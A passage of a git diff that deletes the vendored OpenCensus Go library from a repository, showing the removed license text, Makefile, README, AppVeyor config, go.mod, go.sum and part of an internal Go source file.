Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. \ No newline at end of file diff --git a/vendor/go.opencensus.io/Makefile b/vendor/go.opencensus.io/Makefile deleted file mode 100644 index 457866cb1f..0000000000 --- a/vendor/go.opencensus.io/Makefile +++ /dev/null @@ -1,96 +0,0 @@ -# TODO: Fix this on windows. -ALL_SRC := $(shell find . -name '*.go' \ - -not -path './vendor/*' \ - -not -path '*/gen-go/*' \ - -type f | sort) -ALL_PKGS := $(shell go list $(sort $(dir $(ALL_SRC)))) - -GOTEST_OPT?=-v -race -timeout 30s -GOTEST_OPT_WITH_COVERAGE = $(GOTEST_OPT) -coverprofile=coverage.txt -covermode=atomic -GOTEST=go test -GOFMT=gofmt -GOLINT=golint -GOVET=go vet -EMBEDMD=embedmd -# TODO decide if we need to change these names. -TRACE_ID_LINT_EXCEPTION="type name will be used as trace.TraceID by other packages" -TRACE_OPTION_LINT_EXCEPTION="type name will be used as trace.TraceOptions by other packages" -README_FILES := $(shell find . -name '*README.md' | sort | tr '\n' ' ') - -.DEFAULT_GOAL := fmt-lint-vet-embedmd-test - -.PHONY: fmt-lint-vet-embedmd-test -fmt-lint-vet-embedmd-test: fmt lint vet embedmd test - -# TODO enable test-with-coverage in tavis -.PHONY: travis-ci -travis-ci: fmt lint vet embedmd test test-386 - -all-pkgs: - @echo $(ALL_PKGS) | tr ' ' '\n' | sort - -all-srcs: - @echo $(ALL_SRC) | tr ' ' '\n' | sort - -.PHONY: test -test: - $(GOTEST) $(GOTEST_OPT) $(ALL_PKGS) - -.PHONY: test-386 -test-386: - GOARCH=386 $(GOTEST) -v -timeout 30s $(ALL_PKGS) - -.PHONY: test-with-coverage -test-with-coverage: - $(GOTEST) $(GOTEST_OPT_WITH_COVERAGE) $(ALL_PKGS) - -.PHONY: fmt -fmt: - @FMTOUT=`$(GOFMT) -s -l $(ALL_SRC) 2>&1`; \ - if [ "$$FMTOUT" ]; then \ - echo "$(GOFMT) FAILED => gofmt the following files:\n"; \ - echo "$$FMTOUT\n"; \ - exit 1; \ - else \ - echo "Fmt finished successfully"; \ - fi - -.PHONY: lint -lint: - @LINTOUT=`$(GOLINT) $(ALL_PKGS) | grep -v $(TRACE_ID_LINT_EXCEPTION) | grep -v $(TRACE_OPTION_LINT_EXCEPTION) 2>&1`; \ - if [ "$$LINTOUT" ]; then \ - echo "$(GOLINT) FAILED => clean the following lint errors:\n"; \ - echo "$$LINTOUT\n"; \ - exit 1; \ - else \ - echo "Lint finished successfully"; \ - fi - -.PHONY: vet -vet: - # TODO: Understand why go vet downloads "github.com/google/go-cmp v0.2.0" - @VETOUT=`$(GOVET) ./... | grep -v "go: downloading" 2>&1`; \ - if [ "$$VETOUT" ]; then \ - echo "$(GOVET) FAILED => go vet the following files:\n"; \ - echo "$$VETOUT\n"; \ - exit 1; \ - else \ - echo "Vet finished successfully"; \ - fi - -.PHONY: embedmd -embedmd: - @EMBEDMDOUT=`$(EMBEDMD) -d $(README_FILES) 2>&1`; \ - if [ "$$EMBEDMDOUT" ]; then \ - echo "$(EMBEDMD) FAILED => embedmd the following files:\n"; \ - echo "$$EMBEDMDOUT\n"; \ - exit 1; \ - else \ - echo "Embedmd finished successfully"; \ - fi - -.PHONY: install-tools -install-tools: - go get -u golang.org/x/tools/cmd/cover - go get -u golang.org/x/lint/golint - go get -u github.com/rakyll/embedmd diff --git a/vendor/go.opencensus.io/README.md b/vendor/go.opencensus.io/README.md deleted file mode 100644 index fabab2e060..0000000000 --- a/vendor/go.opencensus.io/README.md +++ /dev/null @@ -1,263 +0,0 @@ -# OpenCensus Libraries for Go - -[![Build Status][travis-image]][travis-url] -[![Windows Build Status][appveyor-image]][appveyor-url] -[![GoDoc][godoc-image]][godoc-url] -[![Gitter chat][gitter-image]][gitter-url] - -OpenCensus Go is a Go implementation of OpenCensus, a toolkit for -collecting application performance and behavior monitoring data. -Currently it consists of three major components: tags, stats and tracing. - -## Installation - -``` -$ go get -u go.opencensus.io -``` - -The API of this project is still evolving, see: [Deprecation Policy](#deprecation-policy). -The use of vendoring or a dependency management tool is recommended. - -## Prerequisites - -OpenCensus Go libraries require Go 1.8 or later. - -## Getting Started - -The easiest way to get started using OpenCensus in your application is to use an existing -integration with your RPC framework: - -* [net/http](https://godoc.org/go.opencensus.io/plugin/ochttp) -* [gRPC](https://godoc.org/go.opencensus.io/plugin/ocgrpc) -* [database/sql](https://godoc.org/github.com/opencensus-integrations/ocsql) -* [Go kit](https://godoc.org/github.com/go-kit/kit/tracing/opencensus) -* [Groupcache](https://godoc.org/github.com/orijtech/groupcache) -* [Caddy webserver](https://godoc.org/github.com/orijtech/caddy) -* [MongoDB](https://godoc.org/github.com/orijtech/mongo-go-driver) -* [Redis gomodule/redigo](https://godoc.org/github.com/orijtech/redigo) -* [Redis goredis/redis](https://godoc.org/github.com/orijtech/redis) -* [Memcache](https://godoc.org/github.com/orijtech/gomemcache) - -If you're using a framework not listed here, you could either implement your own middleware for your -framework or use [custom stats](#stats) and [spans](#spans) directly in your application. - -## Exporters - -OpenCensus can export instrumentation data to various backends. -OpenCensus has exporter implementations for the following, users -can implement their own exporters by implementing the exporter interfaces -([stats](https://godoc.org/go.opencensus.io/stats/view#Exporter), -[trace](https://godoc.org/go.opencensus.io/trace#Exporter)): - -* [Prometheus][exporter-prom] for stats -* [OpenZipkin][exporter-zipkin] for traces -* [Stackdriver][exporter-stackdriver] Monitoring for stats and Trace for traces -* [Jaeger][exporter-jaeger] for traces -* [AWS X-Ray][exporter-xray] for traces -* [Datadog][exporter-datadog] for stats and traces -* [Graphite][exporter-graphite] for stats -* [Honeycomb][exporter-honeycomb] for traces - -## Overview - -![OpenCensus Overview](https://i.imgur.com/cf4ElHE.jpg) - -In a microservices environment, a user request may go through -multiple services until there is a response. OpenCensus allows -you to instrument your services and collect diagnostics data all -through your services end-to-end. - -## Tags - -Tags represent propagated key-value pairs. They are propagated using `context.Context` -in the same process or can be encoded to be transmitted on the wire. Usually, this will -be handled by an integration plugin, e.g. `ocgrpc.ServerHandler` and `ocgrpc.ClientHandler` -for gRPC. - -Package `tag` allows adding or modifying tags in the current context. - -[embedmd]:# (internal/readme/tags.go new) -```go -ctx, err = tag.New(ctx, - tag.Insert(osKey, "macOS-10.12.5"), - tag.Upsert(userIDKey, "cde36753ed"), -) -if err != nil { - log.Fatal(err) -} -``` - -## Stats - -OpenCensus is a low-overhead framework even if instrumentation is always enabled. -In order to be so, it is optimized to make recording of data points fast -and separate from the data aggregation. - -OpenCensus stats collection happens in two stages: - -* Definition of measures and recording of data points -* Definition of views and aggregation of the recorded data - -### Recording - -Measurements are data points associated with a measure. -Recording implicitly tags the set of Measurements with the tags from the -provided context: - -[embedmd]:# (internal/readme/stats.go record) -```go -stats.Record(ctx, videoSize.M(102478)) -``` - -### Views - -Views are how Measures are aggregated. You can think of them as queries over the -set of recorded data points (measurements). - -Views have two parts: the tags to group by and the aggregation type used. - -Currently three types of aggregations are supported: -* CountAggregation is used to count the number of times a sample was recorded. -* DistributionAggregation is used to provide a histogram of the values of the samples. -* SumAggregation is used to sum up all sample values. - -[embedmd]:# (internal/readme/stats.go aggs) -```go -distAgg := view.Distribution(1<<32, 2<<32, 3<<32) -countAgg := view.Count() -sumAgg := view.Sum() -``` - -Here we create a view with the DistributionAggregation over our measure. - -[embedmd]:# (internal/readme/stats.go view) -```go -if err := view.Register(&view.View{ - Name: "example.com/video_size_distribution", - Description: "distribution of processed video size over time", - Measure: videoSize, - Aggregation: view.Distribution(1<<32, 2<<32, 3<<32), -}); err != nil { - log.Fatalf("Failed to register view: %v", err) -} -``` - -Register begins collecting data for the view. Registered views' data will be -exported via the registered exporters. - -## Traces - -A distributed trace tracks the progression of a single user request as -it is handled by the services and processes that make up an application. -Each step is called a span in the trace. Spans include metadata about the step, -including especially the time spent in the step, called the span’s latency. - -Below you see a trace and several spans underneath it. - -![Traces and spans](https://i.imgur.com/7hZwRVj.png) - -### Spans - -Span is the unit step in a trace. Each span has a name, latency, status and -additional metadata. - -Below we are starting a span for a cache read and ending it -when we are done: - -[embedmd]:# (internal/readme/trace.go startend) -```go -ctx, span := trace.StartSpan(ctx, "cache.Get") -defer span.End() - -// Do work to get from cache. -``` - -### Propagation - -Spans can have parents or can be root spans if they don't have any parents. -The current span is propagated in-process and across the network to allow associating -new child spans with the parent. - -In the same process, `context.Context` is used to propagate spans. -`trace.StartSpan` creates a new span as a root if the current context -doesn't contain a span. Or, it creates a child of the span that is -already in current context. The returned context can be used to keep -propagating the newly created span in the current context. - -[embedmd]:# (internal/readme/trace.go startend) -```go -ctx, span := trace.StartSpan(ctx, "cache.Get") -defer span.End() - -// Do work to get from cache. -``` - -Across the network, OpenCensus provides different propagation -methods for different protocols. - -* gRPC integrations use the OpenCensus' [binary propagation format](https://godoc.org/go.opencensus.io/trace/propagation). -* HTTP integrations use Zipkin's [B3](https://github.com/openzipkin/b3-propagation) - by default but can be configured to use a custom propagation method by setting another - [propagation.HTTPFormat](https://godoc.org/go.opencensus.io/trace/propagation#HTTPFormat). - -## Execution Tracer - -With Go 1.11, OpenCensus Go will support integration with the Go execution tracer. -See [Debugging Latency in Go](https://medium.com/observability/debugging-latency-in-go-1-11-9f97a7910d68) -for an example of their mutual use. - -## Profiles - -OpenCensus tags can be applied as profiler labels -for users who are on Go 1.9 and above. - -[embedmd]:# (internal/readme/tags.go profiler) -```go -ctx, err = tag.New(ctx, - tag.Insert(osKey, "macOS-10.12.5"), - tag.Insert(userIDKey, "fff0989878"), -) -if err != nil { - log.Fatal(err) -} -tag.Do(ctx, func(ctx context.Context) { - // Do work. - // When profiling is on, samples will be - // recorded with the key/values from the tag map. -}) -``` - -A screenshot of the CPU profile from the program above: - -![CPU profile](https://i.imgur.com/jBKjlkw.png) - -## Deprecation Policy - -Before version 1.0.0, the following deprecation policy will be observed: - -No backwards-incompatible changes will be made except for the removal of symbols that have -been marked as *Deprecated* for at least one minor release (e.g. 0.9.0 to 0.10.0). A release -removing the *Deprecated* functionality will be made no sooner than 28 days after the first -release in which the functionality was marked *Deprecated*. - -[travis-image]: https://travis-ci.org/census-instrumentation/opencensus-go.svg?branch=master -[travis-url]: https://travis-ci.org/census-instrumentation/opencensus-go -[appveyor-image]: https://ci.appveyor.com/api/projects/status/vgtt29ps1783ig38?svg=true -[appveyor-url]: https://ci.appveyor.com/project/opencensusgoteam/opencensus-go/branch/master -[godoc-image]: https://godoc.org/go.opencensus.io?status.svg -[godoc-url]: https://godoc.org/go.opencensus.io -[gitter-image]: https://badges.gitter.im/census-instrumentation/lobby.svg -[gitter-url]: https://gitter.im/census-instrumentation/lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge - - -[new-ex]: https://godoc.org/go.opencensus.io/tag#example-NewMap -[new-replace-ex]: https://godoc.org/go.opencensus.io/tag#example-NewMap--Replace - -[exporter-prom]: https://godoc.org/contrib.go.opencensus.io/exporter/prometheus -[exporter-stackdriver]: https://godoc.org/contrib.go.opencensus.io/exporter/stackdriver -[exporter-zipkin]: https://godoc.org/contrib.go.opencensus.io/exporter/zipkin -[exporter-jaeger]: https://godoc.org/contrib.go.opencensus.io/exporter/jaeger -[exporter-xray]: https://github.com/census-ecosystem/opencensus-go-exporter-aws -[exporter-datadog]: https://github.com/DataDog/opencensus-go-exporter-datadog -[exporter-graphite]: https://github.com/census-ecosystem/opencensus-go-exporter-graphite -[exporter-honeycomb]: https://github.com/honeycombio/opencensus-exporter diff --git a/vendor/go.opencensus.io/appveyor.yml b/vendor/go.opencensus.io/appveyor.yml deleted file mode 100644 index 12bd7c4c73..0000000000 --- a/vendor/go.opencensus.io/appveyor.yml +++ /dev/null @@ -1,25 +0,0 @@ -version: "{build}" - -platform: x64 - -clone_folder: c:\gopath\src\go.opencensus.io - -environment: - GOPATH: 'c:\gopath' - GOVERSION: '1.11' - GO111MODULE: 'on' - CGO_ENABLED: '0' # See: https://github.com/appveyor/ci/issues/2613 - -install: - - set PATH=%GOPATH%\bin;c:\go\bin;%PATH% - - choco upgrade golang --version 1.11.5 # Temporary fix because of a go.sum bug in 1.11 - - go version - - go env - -build: false -deploy: false - -test_script: - - cd %APPVEYOR_BUILD_FOLDER% - - go build -v .\... - - go test -v .\... # No -race because cgo is disabled diff --git a/vendor/go.opencensus.io/go.mod b/vendor/go.opencensus.io/go.mod deleted file mode 100644 index cb4de80f3b..0000000000 --- a/vendor/go.opencensus.io/go.mod +++ /dev/null @@ -1,12 +0,0 @@ -module go.opencensus.io - -require ( - github.com/golang/protobuf v1.3.1 - github.com/google/go-cmp v0.3.0 - github.com/hashicorp/golang-lru v0.5.1 - golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09 - golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd // indirect - golang.org/x/text v0.3.2 // indirect - google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb // indirect - google.golang.org/grpc v1.20.1 -) diff --git a/vendor/go.opencensus.io/go.sum b/vendor/go.opencensus.io/go.sum deleted file mode 100644 index 0b948c2b40..0000000000 --- a/vendor/go.opencensus.io/go.sum +++ /dev/null @@ -1,61 +0,0 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1 h1:YF8+flBXS5eO826T4nzqPrxfhQThhXl0YzfuUPu4SBg= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/google/go-cmp v0.3.0 h1:crn/baboCvb5fXaQ0IJ1SGTsTVrWpDsCWC8EGETZijY= -github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190311183353-d8887717615a h1:oWX7TPOiFAMXLq8o0ikBYfCJVlRHBcsciT5bXOrH628= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09 h1:KaQtG+aDELoNmXYas3TVkGNYRuq8JQ1aa7LJt8EXVyo= -golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f h1:wMNYb4v58l5UBM7MYRLPG6ZhfOqbKu7X5eyFl8ZhKvA= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f h1:Bl/8QSvNqXvPGPGXa2z5xUTmV7VDcZyvRZ+QQXkXTZQ= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6 h1:bjcUS9ztw9kFmmIxJInhon/0Is3p+EHBKNgquIzo1OI= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a h1:1BGLXjeY4akVXGgbC9HugT3Jv3hCI0z56oJR5vAMgBU= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd h1:r7DufRZuZbWB7j439YfAzP8RPDa9unLkpwQKUYbIMPI= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8 h1:Nw54tB0rB7hY/N0NQvRW8DG4Yk3Q6T9cu9RcFQDu1tc= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb h1:i1Ppqkc3WQXikh8bXiwHqAN5Rv3/qDCcRk0/Otx73BY= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/grpc v1.19.0 h1:cfg4PD8YEdSFnm7qLV4++93WcmhH2nIUhMjhdCvl3j8= -google.golang.org/grpc v1.19.0 h1:cfg4PD8YEdSFnm7qLV4++93WcmhH2nIUhMjhdCvl3j8= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.1 h1:Hz2g2wirWK7H0qIIhGIqRGTuMwTE8HEKFnDZZ7lm9NU= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/vendor/go.opencensus.io/internal/internal.go b/vendor/go.opencensus.io/internal/internal.go deleted file mode 100644 index 9a638781cf..0000000000 --- a/vendor/go.opencensus.io/internal/internal.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package internal // import "go.opencensus.io/internal" - -import ( - "fmt" - "time" - - opencensus "go.opencensus.io" -) - -// UserAgent is the user agent to be added to the outgoing -// requests from the exporters. -var UserAgent = fmt.Sprintf("opencensus-go/%s", opencensus.Version()) - -// MonotonicEndTime returns the end time at present -// but offset from start, monotonically. -// -// The monotonic clock is used in subtractions hence -// the duration since start added back to start gives -// end as a monotonic time. -// See https://golang.org/pkg/time/#hdr-Monotonic_Clocks 